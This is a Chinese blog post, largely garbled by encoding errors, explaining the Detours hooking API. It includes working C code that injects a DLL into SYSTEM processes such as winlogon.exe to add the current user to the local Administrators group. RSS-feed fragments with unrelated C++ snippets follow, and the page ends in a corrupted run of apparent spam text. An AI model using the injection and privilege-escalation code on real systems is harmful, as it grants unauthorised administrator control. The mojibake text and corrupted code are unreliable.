功能Q从一DLL中找Z函数的入口地址
参数QpszModule是DLL名,pszFunction是函数名?br style="LINE-HEIGHT: normal">q回Q名为pszModule的DLL的名为pszFunction的函数的入口地址
说明QDetourFindFunction除用GetProcAddress外,q直接分析DLL的文件头Q因此可以找C些GetProcAddress找不到的函数入口?br style="LINE-HEIGHT: normal">
2Q?DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
功能Q该宏把名ؓtarget_name 的Target函数生成Trampoline函数Q以后调?trampoline_prototype在语义上{于调用Target函数?br style="LINE-HEIGHT: normal">
3Q?BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
功能Q用Detour 函数拦截Target函数
参数QpbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototypeQpbDetour?Detour 函数的入口地址?br style="LINE-HEIGHT: normal">
4Q?BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
功能Q恢复Target函数
参数QpbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototypeQpbDetour?Detour 函数的入口地址?br style="LINE-HEIGHT: normal">
5Q?BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
功能Qؓ一个已在运行的q程装入一个DLL
参数QhProcess是进E的句柄QlpDllName是要装入的DLL?br style="LINE-HEIGHT: normal">
三. E序实例

以一个能使有“调试E序”的用h限的用户成ؓpȝ理员的E序做例子说明Detours 库函数的用法。程序的设计思\是找一个以System帐号q行的进E,如spoolss.exe, rpcss.exe, winlogon.exe, service.exe{,使用ContinueProcessWithDll在其中注入把当前用户加入?Administrators本地l的DLLQ因DLL在这些进E的安全上下文环境运行,所以有相应的权限?br style="LINE-HEIGHT: normal">
先编写相应的DLLQ?br style="LINE-HEIGHT: normal">
/*admin.dll, 当进E装入时会把名ؓszAccountName
的用户加入到Administrators本地l?/

#include
#include
#include
#include

/*以下创徏一׃nD实现进E间的数据通讯Q?br style="LINE-HEIGHT: normal">szAccountName 是用户名QbPrepared说明
szAccountName是否已初始化?/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*E序调用SetAccountName讄要加入到Administrators
本地l的用户名,q知DllMain
已初始化szAccountName Q?br style="LINE-HEIGHT: normal">以后被装入时可调用ElevatePriv */

__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
    wcscpy(szAccountName,Name);
    bPrepared=TRUE;
}

/*把名为szAccountName的用户加?br style="LINE-HEIGHT: normal">到Administrators本地l?/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname=szAccountName;
    NetLocalGroupAddMembers(NULL,L"Administrators",
        3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
        DWORD dwReason, PVOID lpReserved)
{
    switch (dwReason) {
   case DLL_THREAD_ATTACH:
       if (bPrepared)
           ElevatePriv();
    }
    return TRUE;
}

E序如下Q?br style="LINE-HEIGHT: normal">
/*AddMeToAdministrators.exe 把当前用户加入到
Administrators本地l。用方法ؓQ(1Q?br style="LINE-HEIGHT: normal">q行d理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进EID Q?Q执行AddMeToAdministrators.exe procid, 其中procid为(1Q记下的q程ID Q?Q签退再签刎ͼq行用户理器,卛_发现自己已在Administrators本地l中?/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用户名U?/

void GetCurrentUser(wchar_t *szName)
{
    HANDLE hProcess, hAccessToken;
    wchar_t InfoBuffer[1000],szAccountName[200],
        szDomainName[200];
    PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
    DWORD dwInfoBufferSize,dwAccountSize = 200,
        dwDomainSize = 200;
    SID_NAME_USE snu;

    hProcess = GetCurrentProcess();

    OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

    GetTokenInformation(hAccessToken,TokenUser,
        InfoBuffer,
        1000, &dwInfoBufferSize);

    LookupAccountSid(NULL, pTokenUser->User.Sid,
        szAccountName,
        &dwAccountSize,szDomainName, &dwDomainSize, &snu);
    wcscpy(szName,szDomainName);
    wcscat(szName,L"\");
        wcscat(szName,szAccountName);
}

/* EnablePrivilege启用自己?#8220;调试E序”的用h?/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
    HANDLE hToken;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES, &hToken))
        return FALSE;
    TOKEN_PRIVILEGES tp;
    tp.PrivilegeCount = 1;
    LookupPrivilegeValue(NULL, szPrivName,
        &tp.Privileges[0].Luid);
    tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
    AdjustTokenPrivileges(hToken, FALSE, &tp,
        sizeof(tp), NULL, NULL);
    return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
                   LPSTR lpszCmdLine, int
                   nCmdShow)
{
    INT argc;
    WCHAR **argv;
    argv = CommandLineToArgvW(GetCommandLineW(),
        &argc);
    INT nProcessId = -1;
    if (argc!=2){
        wprintf(L"usage %s pid", argv[0]);
        return 1;
    }
    nProcessId = _wtoi(argv[1]);
    printf("%d ",nProcessId);
    /*要成功执行ContinueProcessWithDllQ要对winlogon.exe{进E的q程句柄有读写存储器内容和创建线E的权限QEnablePrivilege使本q程有这L权利?/

    if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
        printf("AdjustTokenPrivilege Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    HANDLE   gNewHandle =
        OpenProcess(PROCESS_ALL_ACCESS
        , TRUE, nProcessId);
    if (!gNewHandle){
        printf("OpenProcess Fail %u ",
            (UINT)GetLastError());
        return 1;
    }
    wchar_t szName[100];
    GetCurrentUser(szName);
    SetAccountName(szName);
    If (!ContinueProcessWithDll(gNewHandle,
        L"c:\temp\admin.dll")) {
            printf("ContinueProcessWithDll failed %u",
                (UINT)GetLastError());
            return 3;
    }
    return 0;
}
因ؓ“调试E序”的用h限缺省情况下仅赋予给理员,因此q不会造成安全漏洞。但该程序揭C出“调试E序”的用h限其实是至高无上的用h限,只能授予l可信用戗?br style="LINE-HEIGHT: normal">
四. l论      Detours是一强大的工P提供了简单易用的函数接口来拦截WIN32 API调用和ؓ一个已在运行的q程装入一个DLL?/span>


codeArt 2010-08-29 23:08 发表评论
]]>
QT中的插ghttp://m.shnenglu.com/codeart/archive/2010/08/28/125058.htmlcodeArtcodeArtSat, 28 Aug 2010 11:56:00 GMThttp://m.shnenglu.com/codeart/archive/2010/08/28/125058.htmlhttp://m.shnenglu.com/codeart/comments/125058.htmlhttp://m.shnenglu.com/codeart/archive/2010/08/28/125058.html#Feedback0http://m.shnenglu.com/codeart/comments/commentRss/125058.htmlhttp://m.shnenglu.com/codeart/services/trackbacks/125058.html阅读全文

codeArt 2010-08-28 19:56 发表评论
]]>
努力,从现在开?/title><link>http://m.shnenglu.com/codeart/archive/2010/08/28/125056.html</link><dc:creator>codeArt</dc:creator><author>codeArt</author><pubDate>Sat, 28 Aug 2010 08:15:00 GMT</pubDate><guid>http://m.shnenglu.com/codeart/archive/2010/08/28/125056.html</guid><wfw:comment>http://m.shnenglu.com/codeart/comments/125056.html</wfw:comment><comments>http://m.shnenglu.com/codeart/archive/2010/08/28/125056.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.shnenglu.com/codeart/comments/commentRss/125056.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/codeart/services/trackbacks/125056.html</trackback:ping><description><![CDATA[ 之前写blog只是备忘,看了一些很好的技术文章之?很是慕.从现在开?好好的维护这个blog?<img src ="http://m.shnenglu.com/codeart/aggbug/125056.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/codeart/" target="_blank">codeArt</a> 2010-08-28 16:15 <a href="http://m.shnenglu.com/codeart/archive/2010/08/28/125056.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用在COM中,c行为比较怪异的代?/title><link>http://m.shnenglu.com/codeart/archive/2010/08/27/124972.html</link><dc:creator>codeArt</dc:creator><author>codeArt</author><pubDate>Fri, 27 Aug 2010 13:02:00 GMT</pubDate><guid>http://m.shnenglu.com/codeart/archive/2010/08/27/124972.html</guid><wfw:comment>http://m.shnenglu.com/codeart/comments/124972.html</wfw:comment><comments>http://m.shnenglu.com/codeart/archive/2010/08/27/124972.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://m.shnenglu.com/codeart/comments/commentRss/124972.html</wfw:commentRss><trackback:ping>http://m.shnenglu.com/codeart/services/trackbacks/124972.html</trackback:ping><description><![CDATA[<pre style="margin-top: 0pt;" id="pre34">#include <iostream><br><br>using namespace std;<br><br>template <typename T><br>class Base {<br>public:<br> void fun() {<br> cout << "Base::fun" << endl;<br> }<br><br> void doSomething() {<br> T* pT = static_cast<T*>(this);<br> pT->fun();<br> }<br>};<br><br>class Drive : public Base<Drive> {<br>public:<br> void fun() {<br> cout << "Drive::fun" << endl;<br> }<br>};<br><br>class MostDrive : public Drive {<br>public:<br> void fun() {<br> cout << "MostDrive::fun" << endl;<br> }<br>};<br><br>int main() {<br> MostDrive obj;<br> obj.doSomething();<br><br> return 0;<br>}<br></pre> <br><img src ="http://m.shnenglu.com/codeart/aggbug/124972.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.shnenglu.com/codeart/" target="_blank">codeArt</a> 2010-08-27 21:02 <a href="http://m.shnenglu.com/codeart/archive/2010/08/27/124972.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>c++重蝲->http://m.shnenglu.com/codeart/archive/2010/08/27/124971.htmlcodeArtcodeArtFri, 27 Aug 2010 12:46:00 GMThttp://m.shnenglu.com/codeart/archive/2010/08/27/124971.htmlhttp://m.shnenglu.com/codeart/comments/124971.htmlhttp://m.shnenglu.com/codeart/archive/2010/08/27/124971.html#Feedback0http://m.shnenglu.com/codeart/comments/commentRss/124971.htmlhttp://m.shnenglu.com/codeart/services/trackbacks/124971.html#include <iostream>

using namespace std;

class Inner {
public:
void Fun() {
cout << "Inner::Fun" << endl;
}
};

class Outer {
private:
Inner* m_pInner;

public:
Outer(Inner* p_pInner) : m_pInner(p_pInner) {
}

Inner* operator -> () {
return m_pInner;
}
};

int main() {
Inner objInner;
Outer objOuter(&objInner);

objOuter->Fun();

return 0;
}



codeArt 2010-08-27 20:46 发表评论
]]>
{略模式c++表述备忘http://m.shnenglu.com/codeart/archive/2010/08/27/124970.htmlcodeArtcodeArtFri, 27 Aug 2010 12:43:00 GMThttp://m.shnenglu.com/codeart/archive/2010/08/27/124970.htmlhttp://m.shnenglu.com/codeart/comments/124970.htmlhttp://m.shnenglu.com/codeart/archive/2010/08/27/124970.html#Feedback0http://m.shnenglu.com/codeart/comments/commentRss/124970.htmlhttp://m.shnenglu.com/codeart/services/trackbacks/124970.html#include <iostream>

using namespace std;

class Round1 {
public:
void Play() {
cout << "Round1::Play" << endl;
}
};

class Round2 {
public:
void Play() {
cout << "Round2::Play" << endl;
}
};

template <typename T>
class Strategy {
private:
T objT;
public:
void Play() {
objT.Play();
}
};

int main() {
Strategy<Round1> obj1;
Strategy<Round2> obj2;

obj1.Play();
obj2.Play();

return 0;
}



codeArt 2010-08-27 20:43 发表评论
]]>
91þۺ| ˾Ʒþ޸岻| ˳wwwþþ| ھƷþþþӰԺ| 鶹Ʒþһ| ˶ݺɫۺϾþ| Ʒ˾þþ| ƷþþþþþþĻ| ޹˾þۺ| þþþavרˮ| þĻר| þþþþ޾Ʒ| 㽶þ99| Ʒþþþþø| þĻ| 99þþžžƷ| 99þù뾫Ʒ| þƵᆱƷ99㽶| þü޾Ʒ?V| þۺۺϾþúݺݺ97ɫ88| ŷ츾XXXXԾþþ| ɫۺϺϾþۿ| پþþƷþ| þ99ȾƷ| Ůþþùһ| ij뾫Ʒþþò| þùһ| þŷձƷ| Ůþþ| þþþĻ| þþþƷѹĻ| 99þó˹Ʒ| þþһƷ99þþƷ66 | þþþþ޾ƷӰԺ| Ʒgzþþ| þù| Ʒþ»| þþþþŮ| þþһƷ99þþƷ88| ձþþþþþþþ| þþþþ޾ƷӰԺ|